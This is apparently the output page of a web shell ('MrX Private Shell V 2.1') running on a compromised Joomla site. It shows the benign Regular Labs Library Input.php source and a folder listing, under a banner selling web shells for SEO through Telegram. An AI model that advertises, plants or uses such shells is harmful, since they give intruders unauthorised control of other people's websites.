__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * @package Regular Labs Library * @version 25.6.10828 * * @author Peter van Westen <[email protected]> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Library; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; /** * string getAlphaNumeric($name, $default = null) Get an alphanumeric string. * string getBase64($name, $default = null) Get a base64 encoded string. * boolean getBool($name, $default = null) Get a boolean value. * string getCmd($name, $default = null) Get a CMD filtered string. * float getFloat($name, $default = null) Get a floating-point number. * string getHtml($name, $default = null) Get a HTML string. * integer getInt($name, $default = null) Get a signed integer. * string getPath($name, $default = null) Get a file path. * mixed getRaw($name, $default = null) Get an unfiltered value. * string getString($name, $default = null) Get a string. * integer getUint($name, $default = null) Get an unsigned integer. * string getUsername($name, $default = null) Get a username. * string getWord($name, $default = null) Get a word. */ class Input { public static function get(string $name, mixed $default = null, string $filter = 'none'): mixed { return JFactory::getApplication()->getInput()->get($name, $default, $filter); } public static function getAlphaNumeric(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getAlnum($name, $default)); } public static function getArray(array $vars = [], mixed $datasource = null): array { return JFactory::getApplication()->getInput()->getArray($vars, $datasource); } public static function getAsArray(string $name, ?array $default = []): array { return (array) JFactory::getApplication()->getInput()->get($name, $default ?? [], 'array'); } public static function getBase64(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getBase64($name, $default)); } public static function getBool(string $name, ?bool $default = \false): bool { return (bool) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getBool($name, $default)); } public static function getCmd(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getCmd($name, $default)); } public static function getFloat(string $name, mixed $default = null): float { return (float) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getFloat($name, $default)); } public static function getHtml(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getHtml($name, $default)); } public static function getInt(string $name, mixed $default = null): int { return (int) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getInt($name, $default)); } public static function getPath(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getPath($name, $default)); } public static function getRaw(string $name, mixed $default = null): mixed { return JFactory::getApplication()->getInput()->getRaw($name, $default); } public static function getString(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getString($name, $default)); } public static function getUint(string $name, mixed $default = null): int { return (int) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getUint($name, $default)); } public static function getUsername(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getUsername($name, $default)); } public static function getWord(string $name, mixed $default = null): string { return (string) (self::convertFromArray($name) ?? JFactory::getApplication()->getInput()->getWord($name, $default)); } public static function set(string $name, mixed $value): void { JFactory::getApplication()->getInput()->set($name, $value); } public static function setCookie(string $name, mixed $value, array $options = []): void { JFactory::getApplication()->getInput()->cookie->set($name, $value, $options); } private static function convertFromArray(string $name): mixed { $value = JFactory::getApplication()->getInput()->get($name, null); if (is_array($value)) { return $value[0] ?? null; } return null; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Form | Folder | 0775 |
|
|
| ActionLogPlugin.php | File | 7.65 KB | 0664 |
|
| Alias.php | File | 3.38 KB | 0664 |
|
| ArrayHelper.php | File | 13.01 KB | 0664 |
|
| Article.php | File | 10.96 KB | 0664 |
|
| Cache.php | File | 4.74 KB | 0664 |
|
| Color.php | File | 1.9 KB | 0664 |
|
| DB.php | File | 16.24 KB | 0664 |
|
| Date.php | File | 5.18 KB | 0664 |
|
| Document.php | File | 13.34 KB | 0664 |
|
| DownloadKey.php | File | 3.93 KB | 0664 |
|
| EditorButtonPlugin.php | File | 5.61 KB | 0664 |
|
| EditorButtonPopup.php | File | 5.76 KB | 0664 |
|
| Extension.php | File | 14.38 KB | 0664 |
|
| FieldHelper.php | File | 1.92 KB | 0664 |
|
| FieldsPlugin.php | File | 979 B | 0664 |
|
| File.php | File | 12.96 KB | 0664 |
|
| Html.php | File | 24.53 KB | 0664 |
|
| HtmlTag.php | File | 4.53 KB | 0664 |
|
| Http.php | File | 4.33 KB | 0664 |
|
| Image.php | File | 28.24 KB | 0664 |
|
| Input.php | File | 5.28 KB | 0664 |
|
| Language.php | File | 999 B | 0664 |
|
| Layout.php | File | 1.08 KB | 0664 |
|
| License.php | File | 1.72 KB | 0664 |
|
| MobileDetect.php | File | 763 B | 0664 |
|
| ObjectHelper.php | File | 2.57 KB | 0664 |
|
| Parameters.php | File | 6.37 KB | 0664 |
|
| Php.php | File | 6.33 KB | 0664 |
|
| PluginTag.php | File | 15.52 KB | 0664 |
|
| Protect.php | File | 26.27 KB | 0664 |
|
| RegEx.php | File | 6.33 KB | 0664 |
|
| ShowOn.php | File | 1.32 KB | 0664 |
|
| SimpleCategory.php | File | 1.73 KB | 0664 |
|
| StringHelper.php | File | 22.05 KB | 0664 |
|
| StringReplacer.php | File | 13.25 KB | 0664 |
|
| SystemPlugin.php | File | 15.73 KB | 0664 |
|
| Text.php | File | 20.17 KB | 0664 |
|
| Title.php | File | 2.86 KB | 0664 |
|
| Uri.php | File | 5.76 KB | 0664 |
|
| User.php | File | 3.35 KB | 0664 |
|
| Variables.php | File | 11.06 KB | 0664 |
|
| Version.php | File | 7.88 KB | 0664 |
|
| Xml.php | File | 1.47 KB | 0664 |
|